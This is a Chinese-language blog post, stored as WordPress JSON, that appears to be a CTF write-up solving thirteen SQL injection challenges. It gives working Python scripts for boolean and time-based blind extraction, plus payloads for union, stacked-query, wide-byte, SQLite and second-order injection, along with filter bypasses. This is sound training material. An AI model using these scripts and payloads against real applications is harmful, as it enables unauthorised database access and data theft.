{"id":111,"date":"2026-05-08T08:36:13","date_gmt":"2026-05-08T00:36:13","guid":{"rendered":"https:\/\/www.mrkuku.site\/?p=111"},"modified":"2026-05-20T21:37:31","modified_gmt":"2026-05-20T13:37:31","slug":"%e9%9d%92%e5%b2%91ctf","status":"publish","type":"post","link":"https:\/\/www.mrkuku.site\/index.php\/2026\/05\/08\/%e9%9d%92%e5%b2%91ctf\/","title":{"rendered":"\u9752\u5c91\u6709\u5173WEB\u7684WP\uff08\u4e8c\uff09"},"content":{"rendered":"\r\n

EZSQL-1WP\uff08\u5e03\u5c14\u578b\u76f2\u6ce8\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n

\u8fd9\u662f\u9053\u767b\u5f55\u754c\u9762\uff0c\u6709\u7528\u6237\u540d\u548c\u5bc6\u7801\u8f93\u5165\u6b63\u786e\u624d\u80fd\u767b\u5f55\u6210\u529f\uff0c\u4f46\u53ef\u60f3\u800c\u77e5\uff0c\u9898\u76ee\u53ef\u6ca1\u6709\u90a3\u4e48\u7b80\u5355\u3002<\/p>\r\n\r\n\r\n\r\n

\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n

\u901a\u8fc7burp\u6293\u5305\u540e\uff0c\u5728password=1\u53c2\u6570\u540e\u9762\u52a0\u4e0apayload\u3002‘ \u6216 1–+<\/strong> \u53d1\u9001\u8bf7\u6c42\u540e\uff0c\u54cd\u5e94\u56de\u9875\u9762\u7684\u662fWelcome admin\u3002\u4f46\u6ca1\u6709\u663e\u793a\u4efb\u4f55\u6570\u636e\uff0c\u731c\u60f3\u53ef\u80fd\u662f\u5e03\u5c14\u578b\u76f2\u6ce8\uff0c\u90a3\u4e48\u4ee5\u4e0b\u901a\u8fc7\u811a\u672c\u7206\u7834\u51faflag\u3002<\/p>\r\n

import requests\r\nimport time\r\n\r\nurl = \"http:\/\/docker.qingcen.net:43393\/?username=admin&password=1' or \"\r\nflag = ''\r\nheaders = {\r\n    'Accept': 'text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7',\r\n    'Accept-Language': 'zh-CN,zh;q=0.9',\r\n    'Connection': 'keep-alive',\r\n    'Upgrade-Insecure-Requests': '1',\r\n    'User-Agent': 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/135.0.0.0 Safari\/537.36 Edg\/135.0.0.0',\r\n    'referer': 'http:\/\/docker.qingcen.net:43393\/',\r\n}\r\n\r\nfor i in range(1, 100):\r\n    time.sleep(0.06)\r\n    low = 32\r\n    high = 128\r\n    mid = (low + high) \/\/ 2\r\n\r\n    while low < high:\r\n        # \u7206\u6570\u636e\u5e93\u540d\r\n        # payload = f\"ascii(mid(database(),{i},1))>{mid}--+\"\r\n        # \u7206\u8868\u540d\r\n        # payload = f\"ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}--+\"\r\n        # \u7206\u5b57\u6bb5\u540d\r\n        # payload = f\"ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))>{mid}--+\"\r\n        # \u7206\u6570\u636e\r\n        # payload = f'ascii(mid((select group_concat(secret) from flag),{i},1))>{mid}--+'\r\n        r = requests.post(url + payload, headers, verify=False)\r\n        \r\n        if 'Welcome admin' in r.text:\r\n            low = mid + 1\r\n        else:\r\n            high = mid\r\n        \r\n        mid = (low + high) \/\/ 2\r\n\r\n    if mid == 32 or mid == 127:\r\n        break\r\n    \r\n    flag += chr(mid)\r\n    print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\r\n\r\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
EZSQL-2WP\uff08\u5e03\u5c14\u578b\u76f2\u6ce8\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u754c\u9762\u548c\u7b2c\u4e00\u9053\u4e00\u6837\uff0c\u90a3\u4e48\u901a\u8fc7burp\u6293\u5305\u8bd5\u4e00\u4e0b\u3002<\/p>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u901a\u8fc7\u6293\u5305\u8fdb\u884c\u4fee\u6539\u53c2\u6570\uff0c\u6211\u53d1\u73b0\u672c\u9898\u8fc7\u6ee4\u4e86\u7a7a\u683c\u4ee5\u53ca–+\u6ce8\u91ca\u3002<\/p>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u7a7a\u683c\u548c–+\u4e0d\u80fd\u7528\u4e86\uff0c\u53ef\u4ee5\u901a\u8fc7\/**\/\u7ed5\u8fc7\u7a7a\u683c\uff0c\u4ee5\u53ca%23\u7ed5\u8fc7sql\u6ce8\u91ca\uff1b\u4ee5\u4e0b\u811a\u672c\u7206\u7834flag\u3002<\/p>\r\n
# \u7a7a\u683c\u66ff\u6362\/**\/\r\n# \u6ce8\u91ca %23\r\nimport requests\r\nimport time\r\n\r\nurl = \"http:\/\/docker.qingcen.net:43412\/?username=admin&password=1'\/**\/or\/**\/\"\r\nflag = ''\r\nheaders = {\r\n    'Accept': 'text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7',\r\n    'Accept-Language': 'zh-CN,zh;q=0.9',\r\n    'Connection': 'keep-alive',\r\n    'Upgrade-Insecure-Requests': '1',\r\n    'User-Agent': 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/135.0.0.0 Safari\/537.36 Edg\/135.0.0.0',\r\n    'referer': 'http:\/\/docker.qingcen.net:43393\/',\r\n}\r\n\r\nfor i in range(1, 100):\r\n    time.sleep(0.06)\r\n    low = 32\r\n    high = 128\r\n    mid = (low + high) \/\/ 2\r\n\r\n    while low < high:\r\n        # \u7206\u6570\u636e\u5e93\u540d\r\n        # payload = f\"ascii(mid(database(),{i},1))>{mid}%23\"\r\n        # \u7206\u8868\u540d\r\n        # payload = f\"ascii(mid((select\/**\/group_concat(table_name)\/**\/from\/**\/information_schema.tables\/**\/where\/**\/table_schema=database()),{i},1))>{mid}%23\"\r\n        # \u7206\u5b57\u6bb5\u540d\r\n        # payload = f\"ascii(mid((select\/**\/group_concat(column_name)\/**\/from\/**\/information_schema.columns\/**\/where\/**\/table_name=0x666c6167),{i},1))>{mid}%23\"\r\n        # \u7206\u6570\u636e\r\n        # payload = f'ascii(mid((select\/**\/group_concat(secret)\/**\/from\/**\/flag),{i},1))>{mid}%23'\r\n        r = requests.post(url + payload, headers, verify=False)\r\n        \r\n        if 'Welcome admin' in r.text:\r\n            low = mid + 1\r\n        else:\r\n            high = mid\r\n        \r\n        mid = (low + high) \/\/ 2\r\n\r\n    if mid == 32 or mid == 127:\r\n        break\r\n    \r\n    flag += chr(mid)\r\n    print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\r\n\r\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
EZSQL-3WP\uff08\u5e03\u5c14\u578b\u76f2\u6ce8\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u76f4\u63a5\u7206\u9898\uff0c\u88ab\u8fc7\u6ee4\u4e86or\u3001union\u3001select\uff0c\u53cc\u5199\u5927\u5c0f\u5199\u5747\u53ef\uff1aoorr\u3001oORr\uff1b\u5176\u4ed6\u4e0eEZSQL-2\u540c\u6837\u8fc7\u6ee4\u4e86\u7a7a\u683c\u548c–+\uff0c\u901a\u8fc7\u4ee5\u4e0b\u811a\u672c\u7206\u7834flag\u3002<\/p>\r\n
import requests\r\nimport time\r\n\r\nurl = \"http:\/\/docker.qingcen.net:43603\/?username=admin&password=1'\/**\/oORr\/**\/\"\r\nflag = ''\r\nheaders = {\r\n    'Accept': 'text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7',\r\n    'Accept-Language': 'zh-CN,zh;q=0.9',\r\n    'Connection': 'keep-alive',\r\n    'Upgrade-Insecure-Requests': '1',\r\n    'User-Agent': 'Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/135.0.0.0 Safari\/537.36 Edg\/135.0.0.0',\r\n    'referer': 'http:\/\/docker.qingcen.net:43393\/',\r\n}\r\n\r\nfor i in range(1, 100):\r\n    time.sleep(0.06)\r\n    low = 32\r\n    high = 128\r\n    mid = (low + high) \/\/ 2\r\n\r\n    while low < high:\r\n        # \u7206\u6570\u636e\u5e93\u540d\r\n        # payload = f\"ascii(mid(database(),{i},1))>{mid}%23\"\r\n        # \u7206\u8868\u540d\r\n        # payload = f\"ascii(mid((selSELECTect\/**\/group_concat(table_name)\/**\/from\/**\/information_schema.tables\/**\/where\/**\/table_schema=database()),{i},1))>{mid}%23\"\r\n        # \u7206\u5b57\u6bb5\u540d\r\n        # payload = f\"ascii(mid((selSELECTect\/**\/group_concat(column_name)\/**\/from\/**\/information_schema.columns\/**\/where\/**\/table_name=0x666c6167),{i},1))>{mid}%23\"\r\n        # \u7206\u6570\u636e\r\n        # payload = f\"ascii(mid((selSELECTect\/**\/group_concat(secret)\/**\/from\/**\/flag),{i},1))>{mid}%23\"\r\n        r = requests.post(url + payload, headers, verify=False)\r\n        \r\n        if 'Welcome admin' in r.text:\r\n            low = mid + 1\r\n        else:\r\n            high = mid\r\n        \r\n        mid = (low + high) \/\/ 2\r\n\r\n    if mid == 32 or mid == 127:\r\n        break\r\n    \r\n    flag += chr(mid)\r\n    print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\r\n\r\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
EZSQL-4WP\uff08\u8054\u5408\u6ce8\u5165\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u9875\u9762\u662f\u4e00\u4e2a\u5458\u5de5\u67e5\u8be2\u754c\u9762\uff0c\u8f93\u5165\u5458\u5de5\u7f16\u53f7\u53ef\u4ee5\u67e5\u8be2\u5230\u4fe1\u606f\u3002<\/p>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u67e5\u8be2id\u4e3a1\uff0c\u8f93\u51fa\u5305\u542bid\u3001name\u3001department\u3001salary\u4fe1\u606f\u3002<\/p>\r\n
-- \u6d4b\u8bd5\u662f\u5426\u6709sql\u6ce8\u5165\r\nid=1' or 1=1%23\r\n\r\n-- \u7206\u5f53\u524d\u6570\u636e\u5e93\r\nid=1' union select 1,database(),3,4%23\r\n\r\n-- \u7206\u8868\r\nid=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4%23\r\n\r\n-- \u7206\u5b57\u6bb5\r\nid=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),3,4%23\r\n\r\n-- \u7206flag\r\nid=1' union select 1,(select flag from flag),3,4%23<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
EZSQL-5WP\uff08\u5806\u53e0\u6ce8\u5165\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u7f51\u7ad9\u8fd8\u662f\u4e00\u4e2a\u5458\u5de5\u67e5\u8be2\u754c\u9762\uff0c\u901a\u8fc7\u5458\u5de5id\u67e5\u8be2\u4fe1\u606f\uff0c\u548c\u4e0a\u9898\u4e00\u81f4\u5148payload\u4e00\u4e0b\u3002<\/p>\r\n
-- \u4e0a\u9898payload\r\nid=1' union select 1,2,3,4%23<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
\u51fa\u73b0Illegal SQL injection\u63d0\u793a\uff0c\u88ab\u8fc7\u6ee4\u4e86select\uff0c\u8fd9\u91cc\u53ef\u77e5\u4e0a\u9898\u7684\u4e24\u5f20\u8868\u540d\uff0c\u901a\u8fc7\u4fee\u6539\u8868\u540d\u663e\u793a\u5185\u5bb9\u3002<\/p>\r\n
-- \u5df2\u77e5\u4e0a\u9898 \u8868\u540d\u4e3a flag\r\n'; PREPARE stmt FROM CONCAT('SEL', 'ECT * FROM flag'); EXECUTE stmt; --+ <\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
\u5229\u7528prepare \u5c06\u5b57\u7b26\u4e32\u5f53\u505asql\u8bed\u53e5\u6267\u884c\uff0c\u62fc\u63a5\u5b57\u7b26\u4e32\uff0c\u901a\u8fc7execute \u6267\u884c\u7f16\u8bd1\u597d\u7684\u3002<\/strong><\/p>\r\n\r\n\r\n\r\n
EZSQL-6WP\uff08\u5e03\u5c14\u578b\u76f2\u6ce8\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u7f51\u9875\u662f\u4e00\u4e2a\u8f93\u5165\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u767b\u5f55\u754c\u9762\uff0c\u90a3\u4e48\u76f4\u63a5\u811a\u672c\u7206\u7834\u3002<\/p>\r\n
import requests\r\nimport time\r\n\r\nurl = \"http:\/\/docker.qingcen.net:44859\/?username=admin&password=1' or \"\r\nflag = ''\r\n\r\nfor i in range(1, 100):\r\n    time.sleep(0.06)\r\n    low = 32\r\n    high = 128\r\n    mid = (low + high) \/\/ 2\r\n\r\n    while low < high:\r\n        # \u7206\u6570\u636e\u5e93\u540d\r\n        # payload = f\"ascii(mid(database(),{i},1))>{mid}%23\"\r\n        # \u7206\u8868\u540d\r\n        # payload = f\"ascii(mid((select\/**\/group_concat(table_name)\/**\/from\/**\/information_schema.tables\/**\/where\/**\/table_schema=database()),{i},1))>{mid}%23\"\r\n        # \u7206\u5b57\u6bb5\u540d\r\n        # payload = f\"ascii(mid((select\/**\/group_concat(column_name)\/**\/from\/**\/information_schema.columns\/**\/where\/**\/table_name=0x666c6167),{i},1))>{mid}%23\"\r\n        # \u7206\u6570\u636e\r\n        # payload = f\"ascii(mid((select\/**\/group_concat(flag)\/**\/from\/**\/flag),{i},1))>{mid}%23\"\r\n        r = requests.post(url + payload)\r\n        \r\n        if 'Login successful.' in r.text:\r\n            low = mid + 1\r\n        else:\r\n            high = mid\r\n        \r\n        mid = (low + high) \/\/ 2\r\n\r\n    if mid == 32 or mid == 127:\r\n        break\r\n    \r\n    flag += chr(mid)\r\n    print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\r\n\r\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
EZSQL-7WP\uff08\u5e03\u5c14\u578b\u76f2\u6ce8\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u67e5\u8be2id\u4e3a1\u7684\u5458\u5de5\uff0c\u53d1\u73b0\u53ea\u663e\u793a\u67e5\u8be2\u6210\u529f\u8fd4\u56de\u7684\u5185\u5bb9\uff0c\u90a3\u4e48\u786e\u5b9a\u662f\u5e03\u5c14\u76f2\u6ce8\uff0c\u901a\u8fc7\u4ee5\u4e0b\u811a\u672cflag\u7206\u7834\u3002<\/p>\r\n
import requests\r\nimport time\r\n\r\nurl = \"http:\/\/docker.qingcen.net:45814\/?id=-1' or \"\r\nflag = ''\r\n\r\nfor i in range(1, 100):\r\n    time.sleep(0.06)\r\n    low = 32\r\n    high = 128\r\n    mid = (low + high) \/\/ 2\r\n\r\n    while low < high:\r\n        # \u7206\u6570\u636e\u5e93\u540d\r\n        # payload = f\"ascii(mid(database(),{i},1))>{mid}%23\"\r\n        # \u7206\u8868\u540d\r\n        # payload = f\"ascii(mid((select\/**\/group_concat(table_name)\/**\/from\/**\/information_schema.tables\/**\/where\/**\/table_schema=database()),{i},1))>{mid}%23\"\r\n        # \u7206\u5b57\u6bb5\u540d\r\n        # payload = f\"ascii(mid((select\/**\/group_concat(column_name)\/**\/from\/**\/information_schema.columns\/**\/where\/**\/table_name=0x666c6167),{i},1))>{mid}%23\"\r\n        # \u7206\u6570\u636e\r\n        # payload = f\"ascii(mid((select\/**\/group_concat(flag)\/**\/from\/**\/flag),{i},1))>{mid}%23\"\r\n        r = requests.post(url + payload)\r\n        \r\n        if '\u67e5\u8be2\u6210\u529f' in r.text:\r\n            low = mid + 1\r\n        else:\r\n            high = mid\r\n        \r\n        mid = (low + high) \/\/ 2\r\n\r\n    if mid == 32 or mid == 127:\r\n        break\r\n    \r\n    flag += chr(mid)\r\n    print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\r\n\r\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
EZSQL-8WP\uff08\u5e03\u5c14\u578b\u76f2\u6ce8\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u67e5\u8be2\u540e\u7684\u6570\u636e\u65e0\u8bba\u5bf9\u9519\uff0c\u53ea\u663e\u793a\u6587\u672c\u5185\u5bb9\uff0c\u5224\u65ad\u662f\u4e00\u4e2a\u65e0\u56de\u663esql\u6ce8\u5165\uff0c\u901a\u8fc7\u65f6\u95f4\u578b\u76f2\u6ce8\uff0c\u4ee5\u4e0b\u662f\u65f6\u95f4\u578b\u76f2\u6ce8\u811a\u672c\u3002<\/p>\r\n
import requests\r\nimport time\r\n\r\nurl = \"http:\/\/docker.qingcen.net:32956\/\"\r\nresult = \"\"\r\n\r\nfor i in range(1, 100):\r\n    low = 32\r\n    high = 127\r\n    while low < high:\r\n        mid = (low + high) \/\/ 2\r\n\r\n        # \u7206\u6570\u636e\u5e93\r\n        # payload = f\"' OR IF(ASCII(SUBSTR(DATABASE(),{i},1))>{mid}, SLEEP(3), 0)#\"\r\n        # \u7206\u8868\u540d\r\n        # payload = f\"' OR IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema=DATABASE()),{i},1))>{mid}, SLEEP(3), 0)#\"\r\n        # \u7206\u5b57\u6bb5\r\n        # payload = f\"' OR IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(column_name) from information_schema.columns where table_schema=DATABASE() AND table_name='flag'),{i},1))>{mid}, SLEEP(3), 0)#\"\r\n        # \u7206\u503c\r\n        # payload = f\"' OR IF(ASCII(SUBSTR((SELECT flag from flag),{i},1))>{mid}, SLEEP(3), 0)#\"\r\n\r\n        try:\r\n            start = time.time()\r\n            requests.get(url, params={\"id\": payload}, timeout=10)\r\n            end = time.time()\r\n\r\n            if end - start > 2.5:\r\n                low = mid + 1\r\n            else:\r\n                high = mid\r\n        except:\r\n            time.sleep(0.5)\r\n            continue\r\n\r\n    if low <= 32:\r\n        break\r\n\r\n    result += chr(low)\r\n    print(result)<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
EZSQL-9WP\uff08\u5bbd\u5b57\u8282\u6ce8\u5165\uff09<\/strong><\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
\u672c\u9898\u88ab\u8fc7\u6ee4\u4e86\u5f15\u53f7\uff0c\u90fd\u4f1a\u5728\u524d\u9762\u52a0\u5165\\\u8f6c\u6362\uff0c\u53ef\u4ee5\u901a\u8fc7%df\u7ed5\u8fc7\uff0c\u89e3\u6790\u6210\u6c49\u5b57\uff0c\u4ece\u800c\u7ed5\u8fc7\u3002\u5728username\u540e\u4fee\u6539\u6210sql\u6ce8\u5165\uff0cpassword\u968f\u610f\u3002<\/p>\r\n
-- \u6d4b\u8bd5\u54ea\u4e2a\u5b57\u6bb5\u53ef\u4ee5\u4f7f\u7528\r\n%df' union select 1,2,3,4--\r\n\r\n-- \u7206\u8868\u540d\r\n%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4--\r\n\r\n-- \u7206\u5b57\u6bb5\u540d\r\n%df' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=0x666c6167--\r\n\r\n-- \u7206\u503c\r\n%df' union select 1,group_concat(id,name,passwd,secret),3,4 from flag--<\/code><\/pre>\r\n\r\n\r\n\r\n\r\n\r\n
EZSQL-10WP\uff08sqlite3\u8054\u5408\u6ce8\u5165\uff09<\/h2>\r\n\r\n\r\n\r\n
\"\"<\/div><\/figure>\r\n\r\n\r\n\r\n
‘ or 1=1#\u6ce8\u5165\u540e\u62a5\u9519\u4e86 Warning<\/strong>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: “#” in\/var\/www\/html\/index.php<\/strong>on line38<\/strong>\u3002sqlite\u6570\u636e\u5e93\u7684\u6ce8\u91ca\u662f\u4e24\u4e2a\u51cf\u53f7 —<\/p>\r\n
-- \u7206\u8868\u548c\u5217\u540d\r\n ?username=admin' UNION SELECT 1,sql,3,4 FROM sqlite_master WHERE type='table'-- 
-- \u7206flag\r\n?username=admin' union select 1,group_concat(id||name||passwd||secret),3,4 from flag--<\/code><\/pre>\r\n\r\n\r\n\r\n
sqlite3\u662f\u4e00\u4e2a\u8f7b\u91cf\u7ea7\u5173\u7cfb\u6570\u636e\u5e93\uff0cunion select \u540c MySQL\u6570\u636e\u5e93\u8bed\u53e5\u67e5\u8be2\u4e00\u81f4\uff0c\u4f46group_concat\u51fd\u6570\u53ea\u67e5secret\u5b57\u6bb5\u67e5\u8be2\u4e0d\u5230flag\u3002<\/p>\r\n
EZSQL-11WP\uff08sqlite3\u5e03\u5c14\u578b\u76f2\u6ce8\uff09<\/h2>\r\n
\"\"<\/div><\/p>\r\n
\u8be5\u9875\u9762\u53ea\u663e\u793a\u67e5\u8be2\u6210\u529f\u548c\u672a\u627e\u5230\u5458\u5de5\u4fe1\u606f\uff0c\u90a3\u4e48\u65e0\u8bba\u8f93\u5165\u7684\u7ed3\u679c\u53ea\u4f1a\u663e\u793a\u5176\u4e2d\u4e00\u4e2a\uff0c\u731c\u6d4b\u662f\u5e03\u5c14\u578b\u76f2\u6ce8\uff0c\u901a\u8fc7python\u811a\u672c\u8fdb\u884c\u7206\u7834\u3002<\/p>\r\n
import requests\r\nimport time\r\n\r\nurl = \"http:\/\/docker.qingcen.net:34061\/\"\r\nresult = \"\"\r\n\r\nfor i in range(1, 100):\r\n    low = 32\r\n    high = 126\r\n    while low < high:\r\n        mid = (low + high) \/\/ 2\r\n\r\n        # 1. \u7206\u8868\u540d\r\n        # payload = f\"' OR unicode(substr((SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table'),{i},1)) > {mid} -- \"\r\n\r\n        # 2. \u7206\u5b57\u6bb5\u540d\r\n        # payload = f\"' OR unicode(substr((SELECT sql FROM sqlite_master WHERE name='flag'),{i},1)) > {mid} -- \"\r\n\r\n        # 3. \u7206flag\uff08\u6700\u7ec8\uff09\r\n        # payload = f\"' OR unicode(substr((SELECT flag FROM flag limit 1),{i},1)) > {mid} -- \"\r\n\r\n\r\n        params = {\"id\": payload}\r\n\r\n        try:\r\n            res = requests.get(url, params=params, timeout=5)\r\n            # \u6761\u4ef6\u6210\u7acb = \u5b57\u7b26\u66f4\u5927\r\n            if \"\u67e5\u8be2\u6210\u529f\" in res.text:\r\n                low = mid + 1\r\n            else:\r\n                high = mid\r\n        except:\r\n            time.sleep(0.5)\r\n\r\n    # \u62ff\u5230\u6b63\u786e\u5b57\u7b26\r\n    char = chr(low)\r\n    result += char\r\n    print(f\"\u7b2c{i}\u4f4d: {char} | \u5f53\u524d\u7ed3\u679c: {result}\")\r\n\r\n    # \u9047\u5230\u7ed3\u675f\u7b26\u505c\u6b62\r\n    if low == 32:\r\n        break<\/code><\/pre>\r\n
EZSQL-12WP\uff08\u4e8c\u6b21\u6ce8\u5165\uff09<\/h2>\r\n
\"\"<\/div><\/p>\r\n
\u754c\u9762\u53ea\u6709\u4e24\u4e2a\uff0c\u4e00\u4e2a\u767b\u5f55\u9875\u9762\u53e6\u4e00\u4e2a\u6ce8\u518c\u9875\u9762\u3002\u5148\u6ce8\u518cadmin’#\u7528\u6237\u540d\uff0c\u5bc6\u7801\u4e3a123456\uff0c\u8fd9\u79cd\u6076\u610f\u7684\u8d26\u53f7\u5728\u6570\u636e\u5e93\u5b58\u50a8\u4e86\u3002\u5f53\u767b\u5f55\u6210\u529f\u540e\u53d1\u73b0admin\u7684\u8d26\u53f7\uff0c\u5728\u540e\u7aefMySQL\u67e5\u8be2\u5927\u6982\u53ef\u80fd\u662fSELECT\u00a0 *\u00a0 FROM users\u00a0 WHERE username=’admin’#’ AND password=’123456′<\/strong>\u3002<\/p>\r\n
EZSQL-13WP\uff08\u4e8c\u6b21\u6ce8\u5165\/\u8054\u5408\u6ce8\u5165\uff09<\/h2>\r\n
\u4e0eEZSQL-12\u4e00\u81f4\uff0c\u5148\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7admin’#\uff0c\u7ed3\u679c\u4e3a\uff1aWelcome admin. Your secret note is empty.<\/p>\r\n
-- \u6ce8\u518c\u540e\uff0c\u7b14\u8bb0\u4e2d\u5185\u5bb9\u8fd4\u56de\u7684\uff1a\u60a8\u8fd8\u6ca1\u6709\u79c1\u5bc6\u7b14\u8bb0\u3002\r\n1.\u00a0 ' order by 2# \r\n-- \u6ce8\u518c\u540e\uff0c\u7b14\u8bb0\u4e2d\u5185\u5bb9\u8fd4\u56de\u7684\uff1a\u67e5\u8be2\u5f02\u5e38\uff1aUnknown column &#039;3&#039; in &#039;ORDER BY&#039;\r\n2. ' order by 3# \r\n-- \u6ce8\u518c\u540e\uff0c\u7b14\u8bb0\u4e2d\u5185\u5bb9\u8fd4\u56de\u7684\uff1a\u663e\u793a 2\r\n3. ' union select 1,2# \r\n-- \u6ce8\u518c\u540e\uff0c\u7b14\u8bb0\u4e2d\u5185\u5bb9\u8fd4\u56de\u7684\uff1a\u663e\u793a user\r\n4. ' union select 1,database()# \r\n-- \u6ce8\u518c\u540e\uff0c\u7b14\u8bb0\u4e2d\u5185\u5bb9\u8fd4\u56de\u7684\uff1a\u663e\u793a user_notes,users,flags\r\n5. ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# \r\n-- \u6ce8\u518c\u540e\uff0c\u7b14\u8bb0\u4e2d\u5185\u5bb9\u8fd4\u56de\u7684\uff1a \u663e\u793a flag\r\n6. ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name ='flags'# \r\n-- \u6ce8\u518c\u540e\uff0c\u7b14\u8bb0\u4e2d\u5185\u5bb9\u8fd4\u56de\u7684\uff1a\u663e\u793a flag\u503c\r\n7. ' unioon select 1,flag from flags# <\/code><\/pre>","protected":false},"excerpt":{"rendered":"
EZSQL-1WP\uff08\u5e03\u5c14\u578b\u76f2\u6ce8\uff09 \u8fd9\u662f\u9053\u767b\u5f55\u754c\u9762\uff0c\u6709\u7528\u6237\u540d\u548c\u5bc6\u7801\u8f93\u5165\u6b63\u786e\u624d\u80fd\u767b\u5f55\u6210\u529f\uff0c\u4f46\u53ef\u60f3\u800c\u77e5\uff0c\u9898\u76ee\u53ef\u6ca1\u6709\u90a3 […]<\/p>\n","protected":false},"author":1,"featured_media":137,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[6,8],"class_list":["post-111","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-article","tag-ctf","tag-sql"],"_links":{"self":[{"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/posts\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/comments?post=111"}],"version-history":[{"count":23,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/posts\/111\/revisions"}],"predecessor-version":[{"id":170,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/posts\/111\/revisions\/170"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/media\/137"}],"wp:attachment":[{"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/media?parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/categories?post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/tags?post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}